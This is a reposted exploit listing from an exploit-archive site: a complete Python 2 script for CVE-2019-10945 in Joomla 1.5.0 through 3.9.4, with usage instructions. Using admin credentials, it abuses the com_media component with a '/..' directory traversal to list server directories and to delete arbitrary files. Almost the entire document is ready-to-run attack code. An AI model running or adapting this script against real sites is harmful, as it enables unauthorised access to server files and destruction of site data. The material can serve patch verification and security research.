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Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2019040210

Below is a copy:

Joomla Core 1.5.0 3.9.4 Directory Traversal / Authenticated Arbitrary File Deletion
# Exploit Title: Joomla Core (1.5.0 through 3.9.4) - Directory Traversal && Authenticated Arbitrary File Deletion
# Date: 2019-March-13
# Exploit Author: Haboob Team
# Web Site: haboob.sa
# Email: [email protected]
# Software Link: https://www.joomla.org/
# Versions: Joomla 1.5.0 through Joomla 3.9.4
# CVE : CVE-2019-10945
# https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-10945
#
# Usage:
#  List files in the specified directory:
#  python exploit.py --url=http://example.com/administrator --username=<joomla-manager-username> --password=<joomla-manager-password> --dir=<directory name>
#
#  Delete file in specified directory
#  python exploit.py --url=http://example.com/administrator --username=<joomla-manager-username> --password=<joomla-manager-password> --dir=<directory to list>  --rm=<file name>


import re
import tempfile
import pickle
import os
import hashlib
import urllib

try:
    import click
except ImportError:
    print("module 'click' doesn't exist, type: pip install click")
    exit(0)

try:
    import requests
except ImportError:
    print("module 'requests' doesn't exist, type: pip install requests")
    exit(0)
try:
    import lxml.html
except ImportError:
    print("module 'lxml' doesn't exist, type: pip install lxml")
    exit(0)

mediaList = "?option=com_media&view=mediaList&tmpl=component&folder=/.."

print ''' 
# Exploit Title: Joomla Core (1.5.0 through 3.9.4) - Directory Traversal && Authenticated Arbitrary File Deletion
# Web Site: Haboob.sa
# Email: [email protected]
# Versions: Joomla 1.5.0 through Joomla 3.9.4
# https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-10945    
 _    _          ____   ____   ____  ____  
| |  | |   /\   |  _ \ / __ \ / __ \|  _ \ 
| |__| |  /  \  | |_) | |  | | |  | | |_) |
|  __  | / /\ \ |  _ <| |  | | |  | |  _ < 
| |  | |/ ____ \| |_) | |__| | |__| | |_) |
|_|  |_/_/    \_\____/ \____/ \____/|____/ 
                                                                       
'''
class URL(click.ParamType):
    name = 'url'
    regex = re.compile(
        r'^(?:http)s?://'  # http:// or https://
        r'(?:(?:[A-Z0-9](?:[A-Z0-9-]{0,61}[A-Z0-9])?\.)+(?:[A-Z]{2,6}\.?|[A-Z0-9-]{2,}\.?)|'  # domain...
        r'localhost|'  # localhost...
        r'\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})'  # ...or ip
        r'(?::\d+)?'  # optional port
        r'(?:/?|[/?]\S+)$', re.IGNORECASE)

    def convert(self, value, param, ctx):
        if not isinstance(value, tuple):
            if re.match(self.regex, value) is None:
                self.fail('invalid URL (%s)' % value, param, ctx)
        return value


def getForm(url, query, cookie=''):
    r = requests.get(url, cookies=cookie, timeout=5)
    if r.status_code != 200:
        print("invalid URL: 404 NOT FOUND!!")
        exit(0)
    page = r.text.encode('utf-8')
    html = lxml.html.fromstring(page)
    return html.xpath(query), r.cookies


def login(url, username, password):
    csrf, cookie = getForm(url, '//input/@name')
    postData = {'username': username, 'passwd': password, 'option': 'com_login', 'task': 'login',
                'return': 'aW5kZXgucGhw', csrf[-1]: 1}

    res = requests.post(url, cookies=cookie.get_dict(), data=postData, allow_redirects=False)
    if res.status_code == 200:
        html = lxml.html.fromstring(res.text)
        msg = html.xpath("//div[@class='alert-message']/text()[1]")
        print msg
        exit()
    else:
        get_cookies(res.cookies.get_dict(), url, username, password)


def save_cookies(requests_cookiejar, filename):
    with open(filename, 'wb') as f:
        pickle.dump(requests_cookiejar, f)


def load_cookies(filename):
    with open(filename, 'rb') as f:
        return pickle.load(f)


def cookies_file_name(url, username, password):
    result = hashlib.md5(str(url) + str(username) + str(password))
    _dir = tempfile.gettempdir()
    return _dir + "/" + result.hexdigest() + ".Jcookie"


def get_cookies(req_cookie, url, username, password):
    cookie_file = cookies_file_name(url, username, password)
    if os.path.isfile(cookie_file):
        return load_cookies(cookie_file)
    else:
        save_cookies(req_cookie, cookie_file)
        return req_cookie


def traversal(url, username, password, dir=None):
    cookie = get_cookies('', url, username, password)
    url = url + mediaList + dir
    files, cookie = getForm(url, "//input[@name='rm[]']/@value", cookie)
    for file in files:
        print file
    pass


def removeFile(baseurl, username, password, dir='', file=''):
    cookie = get_cookies('', baseurl, username, password)
    url = baseurl + mediaList + dir
    link, _cookie = getForm(url, "//a[@target='_top']/@href", cookie)
    if link:
        link = urllib.unquote(link[0].encode("utf8"))
        link = link.split('folder=')[0]
        link = link.replace("folder.delete", "file.delete")
        link = baseurl + link + "folder=/.." + dir + "&rm[]=" + file
        msg, cookie = getForm(link, "//div[@class='alert-message']/text()[1]", cookie)
        if len(msg) == 0:
            print "ERROR : File does not exist"
        else:
            print msg
    else:
        print "ERROR:404 NOT FOUND!!"


@click.group(invoke_without_command=True)
@click.option('--url', type=URL(), help="Joomla Administrator URL", required=True)
@click.option('--username', type=str, help="Joomla Manager username", required=True)
@click.option('--password', type=str, help="Joomla Manager password", required=True)
@click.option('--dir', type=str, help="listing directory")
@click.option('--rm', type=str, help="delete file")
@click.pass_context
def cli(ctx, url, username, password, dir, rm):
    url = url+"/"
    cookie_file = cookies_file_name(url, username, password)
    if not os.path.isfile(cookie_file):
        login(url, username, password)
    if dir is not None:
        dir = dir.lstrip('/')
        dir = dir.rstrip('/')
        dir = "/" + dir
        if dir == "/" or dir == "../" or dir == "/.":
            dir = ''
    else:
        dir = ''
    print dir
    if rm is not None:
        removeFile(url, username, password, dir, rm)
    else:
        traversal(url, username, password, dir)


cli()

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